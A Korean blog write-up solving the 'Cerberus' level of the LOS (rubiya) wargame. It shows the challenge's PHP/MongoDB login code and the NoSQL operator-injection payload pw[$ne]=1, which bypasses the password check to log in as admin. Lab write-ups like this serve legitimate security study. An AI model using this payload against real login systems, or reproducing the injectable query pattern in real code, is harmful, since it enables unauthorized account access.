vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • shellbag forensics
  • File Execution
  • shellbag
  • forensic artifacts
  • JavaScript
  • Los
  • digital-forensics
  • sql injection
  • LNK FIile
  • Windows Artifact
  • trim
  • iconcahce
  • Digital-Forensic
  • Artifacts
  • Thumbcache
  • ssd
  • forensic-cheatsheet
  • webhacking.kr
  • Digital Forensic

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

LOS -rubiya : Cerberus
WriteUp/LOS_rubiya

LOS -rubiya : Cerberus

2020. 5. 21. 19:47

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_cerberus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
  if($result['id'] === "admin") solve("cerberus");
  highlight_file(__FILE__);
?>

문제 DB가 또 바뀌었다. mongodb를 사용한다.

NOSQL 이라고한다 -> Non-Relational Operational Database 라고 하는데, SQL로 이루어지지 않은 DB라고한다.

NOSQL 특수문자 모음.

 


<해설>

쿼리가 다음과 같이 들어갔으면 좋겠다.

query : {"id":"admin","pw":{"$ne":"1"}}

?id=admin&pw={"$ne":"1"}

encode 옵션 때문에 " 나 \ 같은 기호가 정상적으로 들어가지 않는다

아 잘못 생각했다.

pw[$ne]=1 로 배열 형태로 값을 주면 원하는 대로 들어간다.

 

?id=admin&pw[$ne]=1

 

Clear!

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Incubus  (0) 2020.05.22
LOS -rubiya : Siren  (0) 2020.05.21
LOS -rubiya : Darkknight  (0) 2020.05.20
LOS -rubiya : Kraken  (0) 2020.05.20
LOS -rubiya : Mummy  (0) 2020.05.18
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Incubus
    • LOS -rubiya : Siren
    • LOS -rubiya : Darkknight
    • LOS -rubiya : Kraken
    vared
    vared

    티스토리툴바